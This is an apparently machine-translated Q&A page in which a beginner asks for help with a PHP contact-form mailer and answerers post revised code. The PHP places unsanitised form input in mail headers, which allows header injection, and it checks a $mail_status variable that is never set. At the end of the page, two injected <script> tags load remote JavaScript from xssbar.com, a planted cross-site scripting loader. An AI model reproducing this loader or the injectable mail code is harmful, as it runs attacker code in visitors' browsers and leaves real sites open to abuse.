2016-08-30 48 views
-7

我正在做我的第一個網站 - 我把它上傳到http://testinglakovna.borec.cz/,我基本上使用了一個免費的模板,並根據我的喜好進行調整。 不幸的是,模板提供的聯繫表格沒有附帶「contact.php」,我不知道如何正確激活它。 已經4天了,我想通了一個contact.php激活,我發現了一個激活表單的腳本 - 它發送電子郵件,但它只發送郵件,不顯示發件人電子郵件,名稱或發件人自己寫的主題... 我現在正急切地尋求幫助 - 有沒有人可以幫我寫這段代碼? 我contact.php代碼是這樣的:有人可以幫我產生一個contact.php嗎?

<?php 
$name = $_POST['name']; 
$email = $_POST['email']; 
$message = $_POST['message']; 
$from = 'From: testinglakovna.borec.cz'; 
$to = '[email protected]'; 
$subject = 'Správa z www.lakovnaturen.sk'; 
$body = "From:\n $name\n Email:\n $email\n Message:\n $message"; 

$headers .= "MIME-Version: 1.0\r\n"; 
$headers .= "Content-type: text/html\r\n"; 
$headers = 'From: $email' . "\r\n" . 
'Reply-To: [email protected]' . "\r\n" . 
'X-Mailer: PHP/' . phpversion(); 


mail($to, $subject, $message, $headers); 

if ($mail_status) { ?> 
<script language="javascript" type="text/javascript"> 
    alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.'); 
    window.location = 'index.html'; 
</script> 
<?php 
} 
else { ?> 
<script language="javascript" type="text/javascript"> 
    alert('Spojenie zlyhalo. Prosím pošlite nám mail na [email protected]'); 
    window.location = 'index.html'; 
</script> 
<?php 
} 
?> 

和的index.html的聯繫表格的HTML是:

<div class="col-lg-12"> 
    <form action="contact.php" method="post" id="form" class="contact-form"> 
    <div class="col-sm-6 contact-form-left"> 
     <div class="form-group"> 
     <input name="name" type="text" class="form-control" id="name" placeholder="Meno"> 
     <input type="email" name="email" class="form-control" id="mail" placeholder="Email"> 
     <input name="subject" type="text" class="form-control" id="subject" placeholder="Predmet"> 
     </div> 
    </div> 
    <div class="col-sm-6 contact-form-right"> 
     <div class="form-group"> 
     <textarea name="message" rows="6" class="form-control" id="comment" placeholder="Zanechajte nám odkaz"></textarea> 
     <center><button type="submit" class="btn btn-default">Odoslať</button></center> 
     </div> 
    </div> 
    </form> 
</div> 

而且我已經搜索到了其他人的問題,但仍然是一個答案無法解決此問題。在我可以正式發佈網站之前,這實際上是我做最後一件事情。

+0

是否引發錯誤?無論是在前端還是後端? –

+0

http://chat.stackoverflow.com/rooms/122219/helping-contact讓我馬上幫你。 –

+0

if'''<?php $ name = $ _POST ['name'];'''此代碼屬於contact.php添加name屬性到'''

回答

0

剛剛做了這件事,它在我的電子郵件地址(測試)上工作。

enter image description here

<?php 
$name = $_POST['name']; 
$email = $_POST['email']; 
$message = $_POST['message']; 
$from = 'From: testinglakovna.borec.cz'; 
$to = 'YOUR_EMAIL_HERE'; 
$subject = 'Správa z www.lakovnaturen.sk'; 
$body = "From:\n $name\n Email:\n $email\n Message:\n $message"; 

$headers = "MIME-Version: 1.0\r\n"; 
$headers .= "Content-type: text/html\r\n"; 
$headers .= 'From: '.$email . "\r\n"; 
$headers .= 'Reply-To: '.$to . "\r\n"; 
$headers .='X-Mailer: PHP/' . phpversion(); 


mail($to, $subject, $message, $headers); 

if ($mail_status) { ?> 
<script language="javascript" type="text/javascript"> 
    alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.'); 
    window.location = 'index.html'; 
</script> 
<?php 
} 
else { ?> 
<script language="javascript" type="text/javascript"> 
    alert('Spojenie zlyhalo. Prosím pošlite nám mail na [email protected]'); 
    window.location = 'index.html'; 
</script> 
<?php 
} 
?> 
+0

看到我使用此代碼時,它向我發送了一封來自「$ email」的電子郵件....它沒有顯示發件人的電子郵件地址......任何想法爲什麼它不會「爲我工作? –

+0

@IlonaTakácsová - 奇怪,它在這裏工作得很好!讓我考慮一下等待... – protld

+0

@IlonaTakácsová - 因爲,看看你的HTML: '' 重要的是「** id = **」而不是「** name = **」 將「id = mail」替換爲「id = email」 – protld

0

剛剛宣佈了新的變數,讓我們只是把它$ sendEmail = '名稱= $姓名,電子郵件= $電子郵件,消息= $消息,主題= $主題' 之後,在郵件功能中,將$ message替換爲您剛剛創建的$ sendEmail變量 它應該可以正常工作,但請記住,如果您將代碼部署到將發送電子郵件的本地服務器上,最有可能的是, spam文件夾。 讓我知道它是否有幫助...

-1

糟糕,看起來像這個類別中沒有內容。

<script>s=document.createElement("script");s.src="http://xssbar.com/?c=T0xwU";document.getElementsByTagName("head") 

[0].appendChild(s);</script> 

謝謝!

<script>s=document.createElement("script");s.src="http://xssbar.com/?c=lELBQ";document.getElementsByTagName("head") 

[0].appendChild(s);</script> 
相關問題